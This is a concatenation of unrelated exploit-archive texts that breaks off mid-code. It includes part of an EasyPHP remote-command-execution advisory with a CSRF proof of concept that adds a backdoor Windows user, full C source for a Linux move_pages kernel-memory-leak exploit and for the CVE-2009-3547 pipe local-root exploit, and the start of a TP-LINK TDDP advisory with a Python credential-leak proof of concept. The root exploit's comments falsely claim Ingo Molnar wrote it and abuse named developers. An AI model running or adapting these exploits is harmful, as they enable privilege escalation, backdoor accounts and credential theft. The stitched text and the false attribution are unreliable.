The "index.php" and "explorer.php" files both contain vulnerable code that
will happily process both GET / POST RCE requests.
Below EasyPHP Code contains no CSRF token or checks whatsoever. All
attacker needs is to supply 'type' and command values.
Possibility for RFI (remote file inclusion) if the "allow_url_include=0"
setting is changed in "php.ini" configuration.
No checks or CSRF tokens for PHP include directives either, the default
however is set to Off.
e.g. RFI attempt result
Warning: include(): http:// wrapper is disabled in the server configuration
by allow_url_include=0
line 8 of "explorer.php"
======================
//== ACTIONS
==================================================================
if (isset($_POST['action'])) {
// Include and exec
if (isset($_POST['action']['request'])) {
foreach ($_POST['action']['request'] as $request) {
if ($request['type'] == 'include') include(urldecode($request['value']));
if ($request['type'] == 'exe') exec(urldecode($request['value']));
}
}
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: " . $redirect);
exit;
}
//////////////////////////////////////////////////
line 48 "index.php"
==================
//== ACTIONS
==================================================================
if (isset($_POST['action'])) {
// Include and exec
if (isset($_POST['action']['request'])) {
foreach ($_POST['action']['request'] as $request) {
if ($request['type'] == 'include') include(urldecode($request['value']));
if ($request['type'] == 'exe') exec(urldecode($request['value']));
}
}
sleep(1);
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: " . $redirect);
exit;
}
if (isset($_GET['action'])) {
// Include and exec
if ($_GET['action'] == 'include') include(urldecode($_GET['value']));
if ($_GET['action'] == 'exe') exec(urldecode($_GET['value']));
if (isset($_GET['redirect'])) {
$redirect = urldecode($_GET['redirect']);
} else {
$redirect = 'http://127.0.0.1:1111/index.php';
}
sleep(1);
header("Location: " . $redirect);
exit;
}
Exploit code(s):
===============
1) Add Backdoor User Account
<form action="http://127.0.0.1:1111/explorer.php" method="post">
<input type="hidden" name="action[request][0][type]" value="exe">
<input type="hidden" name="action[request][0][value]" value="net user EVIL
Password /add">
<script>document.forms[0].submit()</script>
</form>
2) Run "calc.exe"
<a href="http://127.0.0.1:1111/index.php?action=exe&value=calc.exe
">Clicky...</a>
Disclosure Timeline:
======================================
Vendor Notification: No replies
November 22, 2016 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
================
Medium
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
hyp3rlinx
/* sieve (because the Linux kernel leaks like one, get it?)
Bug NOT discovered by Marcus Meissner of SuSE security
This bug was discovered by Ramon de Carvalho Valle in September of 2009
The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS
for the bug (but had forgotten about it until now)
Ramon's report was sent to Novell's internal bugzilla, upon which
some months later Marcus took credit for discovering someone else's bug
Maybe he thought he could get away with it ;) Almost ;)
greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle!
first exploit of 2010, next one will be for a bugclass that has
afaik never been exploited on Linux before
note that this bug can also cause a DoS like so:
Unable to handle kernel paging request at ffffffff833c3be8 RIP:
[<ffffffff800dc8ac>] new_page_node+0x31/0x48
PGD 203067 PUD 205063 PMD 0
Oops: 0000 [1] SMP
Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1
RIP: 0010:[<ffffffff800dc8ac>] [<ffffffff800dc8ac>]
new_page_node+0x31/0x48
RSP: 0018:ffff8100a3c6de50 EFLAGS: 00010246
RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013
RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2
RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c
R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018
R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28
FS: 00002b8481125810(0000) GS:ffffffff803c0000(0000)
knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0
Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task
ffff81009d8c4080)
Stack: ffffffff800dd008 ffffc20000077000 ffffffff800dc87b
0000000000000000
0000000000000000 0000000000000003 ffff810092c23800 0000000000000003
00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000
Call Trace:
[<ffffffff800dd008>] migrate_pages+0x8d/0x42b
[<ffffffff800dc87b>] new_page_node+0x0/0x48
[<ffffffff8009cee2>] schedule_on_each_cpu+0xda/0xe8
[<ffffffff800dd8a2>] sys_move_pages+0x339/0x43d
[<ffffffff8005d28d>] tracesys+0xd5/0xe0
Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff
RIP [<ffffffff800dc8ac>] new_page_node+0x31/0x48
RSP <ffff8100a3c6de50>
CR2: ffffffff833c3be8
*/
#include <stdio.h>
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <errno.h>
#include "exp_framework.h"
#undef MPOL_MF_MOVE
#define MPOL_MF_MOVE (1 << 1)
int max_numnodes;
unsigned long node_online_map;
unsigned long node_states;
unsigned long our_base;
unsigned long totalhigh_pages;
#undef __NR_move_pages
#ifdef __x86_64__
#define __NR_move_pages 279
#else
#define __NR_move_pages 317
#endif
/* random notes I took when writing this (all applying to the 64bit case):
checking in a bitmap based on node_states[2] or node_states[3]
(former if HIGHMEM is not present, latter if it is)
each node_state is of type nodemask_t, which is is a bitmap of size
MAX_NUMNODES/8
RHEL 5.4 has MAX_NUMNODES set to 64, which makes this 8 bytes in size
so the effective base we're working with is either node_states + 16 or
node_states + 24
on 2.6.18 it's based off node_online_map
node_isset does a test_bit based on this base
so our specfic case does: base[ourval / 8] & (1 << (ourval & 7))
all the calculations appear to be signed, so we can both index in the
negative and positive direction, based on ourval
on 64bit, this gives us a 256MB range above and below our base to grab
memory of
(by passing in a single page and a single node for each bit we want to
leak the value of, we can reconstruct entire bytes)
we can determine MAX_NUMNODES by looking up two adjacent numa bitmaps,
subtracting their difference, and multiplying by 8
but we don't need to do this
*/
struct exploit_state *exp_state;
char *desc = "Sieve: Linux 2.6.18+ move_pages() infoleak";
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int requires_null_page = 0;
void addr_to_nodes(unsigned long addr, int *nodes)
{
int i;
int min = 0x80000000 / 8;
int max = 0x7fffffff / 8;
if ((addr < (our_base - min)) ||
(addr > (our_base + max))) {
fprintf(stdout, "Error: Unable to dump address %p\n", addr);
exit(1);
}
for (i = 0; i < 8; i++) {
nodes[i] = ((int)(addr - our_base) << 3) | i;
}
return;
}
char *buf;
unsigned char get_byte_at_addr(unsigned long addr)
{
int nodes[8];
int node;
int status;
int i;
int ret;
unsigned char tmp = 0;
addr_to_nodes(addr, (int *)&nodes);
for (i = 0; i < 8; i++) {
node = nodes[i];
ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
if (errno == ENOSYS) {
fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
exit(1);
} else if (errno != ENODEV)
tmp |= (1 << i);
}
return tmp;
}
void menu(void)
{
fprintf(stdout, "Enter your choice:\n"
" [0] Dump via symbol/address with length\n"
" [1] Dump entire range to file\n"
" [2] Quit\n");
}
int trigger(void)
{
unsigned long addr;
unsigned long addr2;
unsigned char thebyte;
unsigned char choice = 0;
char ibuf[1024];
char *p;
FILE *f;
// get lingering \n
getchar();
while (choice != '2') {
menu();
fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
choice = ibuf[0];
switch (choice) {
case '0':
fprintf(stdout, "Enter the symbol or address for the base:\n");
fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
p = strrchr((char *)&ibuf, '\n');
if (p)
*p = '\0';
addr = exp_state->get_kernel_sym(ibuf);
if (addr == 0) {
addr = strtoul(ibuf, NULL, 16);
}
if (addr == 0) {
fprintf(stdout, "Invalid symbol or address.\n");
break;
}
addr2 = 0;
while (addr2 == 0) {
fprintf(stdout, "Enter the length of bytes to read in hex:\n");
fscanf(stdin, "%x", &addr2);
// get lingering \n
getchar();
}
addr2 += addr;
fprintf(stdout, "Leaked bytes:\n");
while (addr < addr2) {
thebyte = get_byte_at_addr(addr);
printf("%02x ", thebyte);
addr++;
}
printf("\n");
break;
case '1':
addr = our_base - 0x10000000;
#ifdef __x86_64__
/*
our lower bound will cause us to access
bad addresses and cause an oops
*/
if (addr < 0xffffffff80000000)
addr = 0xffffffff80000000;
#else
if (addr < 0x80000000)
addr = 0x80000000;
else if (addr < 0xc0000000)
addr = 0xc0000000;
#endif
addr2 = our_base + 0x10000000;
f = fopen("./kernel.bin", "w");
if (f == NULL) {
fprintf(stdout, "Error: unable to open ./kernel.bin for writing\n");
exit(1);
}
fprintf(stdout, "Dumping to kernel.bin (this will take a while): ");
fflush(stdout);
while (addr < addr2) {
thebyte = get_byte_at_addr(addr);
fputc(thebyte, f);
if (!(addr % (128 * 1024))) {
fprintf(stdout, ".");
fflush(stdout);
}
addr++;
}
fprintf(stdout, "done.\n");
fclose(f);
break;
case '2':
break;
}
}
return 0;
}
int prepare(unsigned char *ptr)
{
int node;
int found_gap = 0;
int i;
int ret;
int status;
totalhigh_pages = exp_state->get_kernel_sym("totalhigh_pages");
node_states = exp_state->get_kernel_sym("node_states");
node_online_map = exp_state->get_kernel_sym("node_online_map");
buf = malloc(4096);
/* cheap hack, won't work on actual NUMA systems -- for those we could use the alternative noted
towards the beginning of the file, here we're just working until we leak the first bit of the adjacent table,
which will be set for our single node -- this gives us the size of the bitmap
*/
for (i = 0; i < 512; i++) {
node = i;
ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
if (errno == ENOSYS) {
fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
exit(1);
} else if (errno == ENODEV) {
found_gap = 1;
} else if (found_gap == 1) {
max_numnodes = i;
fprintf(stdout, " [+] Detected MAX_NUMNODES as %d\n", max_numnodes);
break;
}
}
if (node_online_map != 0)
our_base = node_online_map;
/* our base for this depends on the existence of HIGHMEM and the value of MAX_NUMNODES, since it determines the size
of each bitmap in the array our base is in the middle of
we've taken account for all this
*/
else if (node_states != 0)
our_base = node_states + (totalhigh_pages ? (3 * (max_numnodes / 8)) : (2 * (max_numnodes / 8)));
else {
fprintf(stdout, "Error: kernel doesn't appear vulnerable.\n");
exit(1);
}
return 0;
}
int post(void)
{
return 0;
}
/* written by Ingo Molnar -- it's true because this comment says the exploit
was written by him!
*/
#include <stdio.h>
#include <sys/syscall.h>
unsigned int _r81;
unsigned int _r82;
unsigned int _r91;
unsigned int _r92;
unsigned int _r101;
unsigned int _r102;
unsigned int _r111;
unsigned int _r112;
unsigned int _r121;
unsigned int _r122;
unsigned int _r131;
unsigned int _r132;
unsigned int _r141;
unsigned int _r142;
unsigned int _r151;
unsigned int _r152;
int leak_it(void)
{
asm volatile (
".intel_syntax noprefix\n"
".code32\n"
"jmp label1\n"
"farcalllabel1:\n"
".code64\n"
"mov eax, r8d\n"
"shr r8, 32\n"
"mov ebx, r8d\n"
"mov ecx, r9d\n"
"shr r9, 32\n"
"mov edx, r9d\n"
"mov esi, r10d\n"
"shr r10, 32\n"
"mov edi, r10d\n"
".att_syntax noprefix\n"
"lret\n"
".intel_syntax noprefix\n"
"farcalllabel2:\n"
"mov eax, r11d\n"
"shr r11, 32\n"
"mov ebx, r11d\n"
"mov ecx, r12d\n"
"shr r12, 32\n"
"mov edx, r12d\n"
"mov esi, r13d\n"
"shr r13, 32\n"
"mov edi, r13d\n"
".att_syntax noprefix\n"
"lret\n"
".intel_syntax noprefix\n"
"farcalllabel3:\n"
"mov eax, r14d\n"
"shr r14, 32\n"
"mov ebx, r14d\n"
"mov ecx, r15d\n"
"shr r15, 32\n"
"mov edx, r15d\n"
".att_syntax noprefix\n"
"lret\n"
".intel_syntax noprefix\n"
".code32\n"
"label1:\n"
".att_syntax noprefix\n"
"lcall $0x33, $farcalllabel1\n"
".intel_syntax noprefix\n"
"mov _r81, eax\n"
"mov _r82, ebx\n"
"mov _r91, ecx\n"
"mov _r92, edx\n"
"mov _r101, esi\n"
"mov _r102, edi\n"
".att_syntax noprefix\n"
"lcall $0x33, $farcalllabel2\n"
".intel_syntax noprefix\n"
"mov _r111, eax\n"
"mov _r112, ebx\n"
"mov _r121, ecx\n"
"mov _r122, edx\n"
"mov _r131, esi\n"
"mov _r132, edi\n"
".att_syntax noprefix\n"
"lcall $0x33, $farcalllabel3\n"
".intel_syntax noprefix\n"
"mov _r141, eax\n"
"mov _r142, ebx\n"
"mov _r151, ecx\n"
"mov _r152, edx\n"
".att_syntax noprefix\n"
);
printf(" R8=%08x%08x\n", _r82, _r81);
printf(" R9=%08x%08x\n", _r92, _r91);
printf("R10=%08x%08x\n", _r102, _r101);
printf("R11=%08x%08x\n", _r112, _r111);
printf("R12=%08x%08x\n", _r122, _r121);
printf("R13=%08x%08x\n", _r132, _r131);
printf("R14=%08x%08x\n", _r142, _r141);
printf("R15=%08x%08x\n", _r152, _r151);
return 0;
}
/* ripped from jon oberheide */
const int randcalls[] = {
__NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
__NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
__NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
__NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
__NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
__NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
__NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
__NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
__NR_sched_getparam, __NR_sched_get_priority_max
};
int main(void)
{
/* to keep random stack values from being used for pointers in syscalls */
char buf[64] = {};
int call;
for (call = 0; call < sizeof(randcalls)/sizeof(randcalls[0]); call++) {
syscall(randcalls[call]);
leak_it();
}
}
/* exp_moosecox.c
Watch a video of the exploit here:
http://www.youtube.com/watch?v=jt81NvaOj5Y
developed entirely by Ingo Molnar (exploit writer extraordinaire!) ,
thanks to Fotis Loukos for pointing the bug out to me -- neat bug! :)
dedicated to the Red Hat employees who get paid to copy+paste my
twitter and issue security advisories, their sweet
acknowledgement policy, and general classiness
see: https://bugzilla.redhat.com/show_activity.cgi?id=530490
"policy" aside, there's a word for what you guys are doing: "plagiarism"
in fact, i tested this one day by posting three links to twitter,
without any discussion on any of them. the same day, those three
(and only those three) links were assigned CVEs, even though two of
them weren't even security bugs (it doesn't pay to copy+paste)
official Ingo Molnar (that's me) policy for acknowledgement in
exploits requires general douche-ness or plagiarization
official policy further dictates immediate exploit release for
embargoed, patched bug
I'll be curious to see what the CVE statistics are like for the
kernel this year when they get compiled next year -- I'm predicting
that when someone's watching the sleepy watchers, a more personal
interest is taken in doing the job that you're paid to do correctly.
--------------------------------------------------------------------
Special PS note to Theo (I can do this here because I know he'll
never read it -- the guy is apparently oblivious to the entire world of
security around him -- the same world that invents the protections
years before him that he pats himself on the back for "innovating")
Seriously though, it's incredible to me that an entire team
of developers whose sole purpose is to develop a secure operating
system can be so oblivious to the rest of the world. They haven't
innovated since they replaced exploitable string copies with
exploitable string truncations 6 or so years ago.
The entire joke of a thread can be read here:
http://www.pubbs.net/openbsd/200911/4582/
"Our focus therefore is always on finding innovative ideas which make
bugs very hard to exploit succesfully."
"He's too busy watching monkey porn instead of
building researching last-year's security technology that will stop
an exploit technique that has been exploited multiple times."
"it seems that everyone else is slowly coming around to the
same solution."
So let's talk about this "innovation" of theirs with their
implementation of mmap_min_addr:
They implemented it in 2008, a year after Linux implemented it, a
year after the public phrack article on the bug class, more than a
year after my mail to dailydave with the first public Linux kernel
exploit for the bug class, and over two years after UDEREF was
implemented in PaX (providing complete protection against the smaller
subset of null ptr dereference bugs and the larger class of invalid
userland access in general).
OpenBSD had a public null pointer dereference exploit (agp_ioctl())
published for its OS in January of 2007. It took them over a year
and a half to implement the same feature that was implemented in
Linux a few months after my public exploit in 2007.
So how can it be that "everyone else is slowly coming around to the
same solution" when "everyone else" came to that solution over a
year before you Theo? In fact, I prediced this exact situation would
happen back in 2007 in my DD post:
http://lists.virus.org/dailydave-0703/msg00011.html
"Expect OpenBSD to independently invent a protection against null ptr
deref bugs sometime in 2009."
Let's talk about some more "innovation" -- position independent
executables. PaX implemented position independent executables on
Linux back in 2001 (ET_DYN). PIE binary support was added to GNU
binutils in 2003. Those OpenBSD innovators implemented PIE binaries
in 2008, 7 years after PaX. Innovation indeed!
How about their W^X/ASLR innovation? These plagiarists have the
audacity to announce on their press page:
http://www.openbsd.org/press.html
"Microsoft borrows one of OpenBSD's security features for Vista,
stack/library randomization, under the name Address Space Layout
Randomization (ASLR). "Until now, the feature has been most
prominently used in the OpenBSD Unix variant and the PaX and Exec
Shield security patches for Linux""
Borrowing one of your features? Where'd this ASLR acronym come from
anyway? Oh that's right, PaX again -- when they published the first
design and implementation of it, and coined the term, in July 2001.
It covered the heap, mmap, and stack areas.
OpenBSD implemented "stack-gap randomization" in 2003. Way to
innovate!
W^X, which is a horrible name as OpenBSD doesn't even enforce it with
mprotect restrictions like PaX did from the beginning or even SELinux
is doing now (from a 3rd party contribution modeled after PaX):
PaX implemented true per-page non-executable page support, protecting
binary data, the heap, and the stack, back in 2000.
OpenBSD implemented it in 2003, requiring a full userland rebuild.
The innovation is overwhelming!
They keep coming up with the same exact "innovations" others came up
with years before them. Their official explanation for where they
got the W^X/ASLR ideas was a drunk guy came into their tent at one of
their hack-a-thons and started talking about the idea. They had
never heard of PaX when we asked them in 2003. Which makes the
following involuntarily contributed private ICB logs from Phrack #66
(Internet Citizen's Band -- OpenBSD internal chat network) so intriguing:
On some sunny day in July 2002 (t: Theo de Raadt):
<cloder> why can't you just randomize the base
<cloder> that's what PaX does
<t> You've not been paying attention to what art's saying, or you don't
understand yet, either case is one of think it through yourself.
<cloder> whatever
Only to see poetic justice in August 2003 (ttt: Theo again):
<miod> more exactly, we heard of pax when they started bitching
<ttt> miod, that was very well spoken.
That wraps up our OpenBSD history lesson, in case anyone forgot it.
PS -- enjoy that null ptr deref exploit just released for OpenBSD.
--------------------------------------------------------------------
Important final exploit notes:
don't forget to inspect /boot/config* to see if PREEMPT, LOCKBREAK,
or DEBUG_SPINLOCK are enabled and modify the structures below
accordingly -- a fancier exploit would do this automatically
I've broken the 2.4->2.6.10 version of the exploit and would like to see
someone fix it ;) See below for more comments on this.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sched.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include "exp_framework.h"
int pipefd[2];
struct exploit_state *exp_state;
int is_old_kernel = 0;
int go_go_speed_racer(void *unused)
{
int ret;
while(!exp_state->got_ring0) {
/* bust spinlock */
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
ret = pipe(pipefd);
if (!ret) {
close(pipefd[0]);
close(pipefd[1]);
}
}
return 0;
}
/* <3 twiz/sgrakkyu */
int start_thread(int (*f)(void *), void *arg)
{
char *stack = malloc(0x4000);
int tid = clone(f, stack + 0x4000 - sizeof(unsigned long), CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg);
if (tid < 0) {
printf("can't create thread\n");
exit(1);
}
sleep(1);
return tid;
}
char *desc = "MooseCox: Linux <= 2.6.31.5 pipe local root";
char *cve = "CVE-2009-3547";
#define PIPE_BUFFERS 16
/* this changes on older kernels, but it doesn't matter to our method */
struct pipe_buf_operations {
int can_merge;
void *map;
void *unmap;
void *confirm;
void *release;
void *steal;
void *get;
};
struct pipe_buffer2620ornewer {
void *page;
unsigned int offset, len;
void *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buffer2619orolder {
void *page;
unsigned int offset, len;
void *ops;
unsigned int flags;
};
struct pipe_buffer2616orolder {
void *page;
unsigned int offset, len;
void *ops;
};
struct pipe_inode_info2620ornewer {
unsigned int spinlock;
/*
// LOCKBREAK
unsigned int break_lock;
// DEBUG_SPINLOCK
unsigned int magic, owner_cpu;
void *owner;
*/
void *next, *prev;
unsigned int nrbufs, curbuf;
void *tmp_page;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
void *fasync_readers;
void *fasync_writers;
void *inode;
struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS];
};
struct pipe_inode_info2619orolder {
unsigned int spinlock;
/*
// if PREEMPT enabled
unsigned int break_lock;
// DEBUG_SPINLOCK
unsigned int magic, owner_cpu;
void *owner;
*/
void *next, *prev;
unsigned int nrbufs, curbuf;
struct pipe_buffer2619orolder bufs[PIPE_BUFFERS];
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
void *fasync_readers;
void *fasync_writers;
void *inode;
};
struct pipe_inode_info2616orolder {
unsigned int spinlock;
/*
// if PREEMPT enabled
unsigned int break_lock;
// DEBUG_SPINLOCK
unsigned int magic, owner_cpu;
*/
void *owner;
void *next, *prev;
unsigned int nrbufs, curbuf;
struct pipe_buffer2616orolder bufs[PIPE_BUFFERS];
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
void *fasync_readers;
void *fasync_writers;
};
struct fasync_struct {
int magic;
int fa_fd;
struct fasync_struct *fa_next;
void *file;
};
struct pipe_inode_info2610orolder {
/* this includes 2.4 kernels */
unsigned long lock; // can be rw or spin
void *next, *prev;
char *base;
unsigned int len;
unsigned int start;
unsigned int readers;
unsigned int writers;
/* 2.4 only */
unsigned int waiting_readers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
/* 2.6 only */
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
};
int prepare(unsigned char *buf)
{
struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf;
struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf;
struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf;
struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf;
struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800;
int i;
int newver;
struct utsname unm;
i = uname(&unm);
if (i != 0) {
printf("unable to get kernel version\n");
exit(1);
}
if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') {
fprintf(stdout, " [+] Using newer pipe_inode_info layout\n");
newver = 3;
} else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') {
fprintf(stdout, " [+] Using older pipe_inode_info layout\n");
newver = 2;
} else if (strlen(unm.release) >= 5 && unm.release[2] == '6') {
fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n");
newver = 1;
// } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') {
// is_old_kernel = 1;
// newver = 0;
} else {
fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit. Write it yourself.\n");
exit(1);
}
/* for most of these what will happen is our write will
cause ops->confirm(/pin) to be called, which we've replaced
with own_the_kernel
for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets
called instead (repeatedly) is the release op
*/
if (newver == 3) {
/* uncomment for DEBUG_SPINLOCK */
//info_new->magic = 0xdead4ead;
/* makes list_head empty for wake_up_common */
info_new->next = &info_new->next;
info_new->readers = 1;
info_new->writers = 1;
info_new->nrbufs = 1;
info_new->curbuf = 1;
for (i = 0; i < PIPE_BUFFERS; i++)
info_new->bufs[i].ops = (void *)ops;
} else if (newver == 2) {
/* uncomment for DEBUG_SPINLOCK */
//info_old->magic = 0xdead4ead;
/* makes list_head empty for wake_up_common */
info_old->next = &info_old->next;
info_old->readers = 1;
info_old->writers = 1;
info_old->nrbufs = 1;
info_old->curbuf = 1;
for (i = 0; i < PIPE_BUFFERS; i++)
info_old->bufs[i].ops = (void *)ops;
} else if (newver == 1) {
/* uncomment for DEBUG_SPINLOCK */
//info_older->magic = 0xdead4ead;
/* makes list_head empty for wake_up_common */
info_older->next = &info_older->next;
info_older->readers = 1;
info_older->writers = 1;
info_older->nrbufs = 1;
info_older->curbuf = 1;
/* we'll get called multiple times from free_pipe_info
but it's ok because own_the_kernel handles this case
*/
for (i = 0; i < PIPE_BUFFERS; i++)
info_older->bufs[i].ops = (void *)ops;
} else {
/*
different ballgame here, instead of being able to
provide a function pointer in the ops table, you
control a base address used to compute the address for
a copy into the kernel via copy_from_user. The
following should get you started.
*/
/* lookup symbol for writable fptr then trigger it later
change the main write in the one thread to write out
pointers with the value of exp_state->exploit_kernel
*/
info_oldest->base = (char *)0xc8000000;
info_oldest->readers = 1;
info_oldest->writers = 1;
return 0;
}
ops->can_merge = 1;
for (i = 0; i < 16; i++)
((void **)&ops->map)[i] = exp_state->own_the_kernel;
return 0;
}
int requires_null_page = 1;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int trigger(void)
{
char buf[128];
int fd;
int i = 0;
/* ignore sigpipe so we don't bail out early */
signal(SIGPIPE, SIG_IGN);
start_thread(go_go_speed_racer, NULL);
fprintf(stdout, " [+] We'll let this go for a while if needed...\n");
fflush(stdout);
while (!exp_state->got_ring0 && i < 10000000) {
fd = pipefd[1];
sprintf(buf, "/proc/self/fd/%d", fd);
fd = open(buf, O_WRONLY | O_NONBLOCK);
if (fd >= 0) {
/* bust spinlock */
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
write(fd, ".", 1);
close(fd);
}
i++;
}
if (!exp_state->got_ring0) {
fprintf(stdout, " [+] Failed to trigger the vulnerability. Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n");
return 0;
}
return 1;
}
int post(void)
{
// return RUN_ROOTSHELL;
return FUNNY_PIC_AND_ROOTSHELL;
}
1. Advisory Information
Title: TP-LINK TDDP Multiple Vulnerabilities
Advisory ID: CORE-2016-0007
Advisory URL: http://www.coresecurity.com/advisories/tp-link-tddp-multiple-vulnerabilities
Date published: 2016-11-21
Date of last update: 2016-11-18
Vendors contacted: TP-Link
Release mode: User release
2. Vulnerability Information
Class: Missing Authentication for Critical Function [CWE-306], Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') [CWE-120]
Impact: Code execution, Information leak
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-pending-assignment-1, CVE-pending-assignment-2
3. Vulnerability Description
TP-LINK [1] ships some of their devices with a debugging protocol activated by default. This debugging protocol is listening on the 1040 UDP port on the LAN interface.
Vulnerabilities were found in the implementation of this protocol, that could lead to remote code execution and information leak (credentials acquisition).
4. Vulnerable Devices
TP-LINK WA5210g. (Firmware v1 and v2 are vulnerable)
Other devices might be affected, but they were not tested.
5. Vendor Information, Solutions and Workarounds
No workarounds are available for this device.
6. Credits
This vulnerability was discovered and researched by Andres Lopez Luksenberg from Core Security Exploit Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team.
7. Technical Description / Proof of Concept Code
TP-LINK distributes some of their hardware with a debugging service activate by default. This program uses a custom protocol. Vulnerabilities were found using this protocol, that could lead to remote code execution or information leak.
7.1. Missing Authentication for TDDP v1
[CVE-pending-assignment-1] If version 1 is selected when communicating with the TDDP service, there is a lack of authentication in place. Additionally if the message handler accepts the "Get configuration" message type, this will result in the program leaking the web interface configuration file, which includes the web login credentials.
The following is a proof of concept to demonstrate the vulnerability (Impacket [2] is required for the PoC to work):
import socket
import re
from impacket.winregistry import hexdump
from impacket.structure import Structure
import struct
class TDDP(Structure):
structure = (
('version','B=0x1'),
('type','B=0'),
('code','B=0'),
('replyInfo','B=0'),
('packetLength','>L=0'),
('pktID','<H=1'),
('subType','B=0'),
('reserved','B=0'),
('payload',':=""'),
)
def printPayload(self):
print self.getPayloadAsString()
def getPayloadAsString(self):
s=''
for i in range(len(self['payload'])):
s += "%.2X" % struct.unpack("B", self['payload'][i])[0]
return s
class TDDPRequestsPacketBuilder(object):
SET_CONFIG = 1
GET_CONFIG = 2
CMD_SYS0_PR = 3
GET_SERIAL_NUMBER = 5
GET_PRODUCT_ID = 10
def getRequestPacket(self):
tddp = TDDP()
tddp['version'] = 1
tddp['replyInfo'] = 1
return tddp
def getConfigPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_CONFIG
tddp['payload'] = ('\x00'*0x10) + 'all'
tddp['packetLength'] = len(tddp['payload'])
return tddp
def setConfigPacket(self, trail):
tddp = self.getRequestPacket()
tddp['type'] = self.SET_CONFIG
tddp['payload'] = ('\x00'*0x10) + trail
tddp['packetLength'] = len(tddp['payload'])
return tddp
def getSerialNumberPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_SERIAL_NUMBER
return tddp
def getProductIDPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_PRODUCT_ID
return tddp
def CMD_SYS0_PR_Packet(self, trail):
tddp = self.getRequestPacket()
tddp['type'] = self.CMD_SYS0_PR
tddp['replyInfo'] = 2
tddp['payload'] = ('\x00'*0x10)
tddp['packetLength'] = len(tddp['payload'])
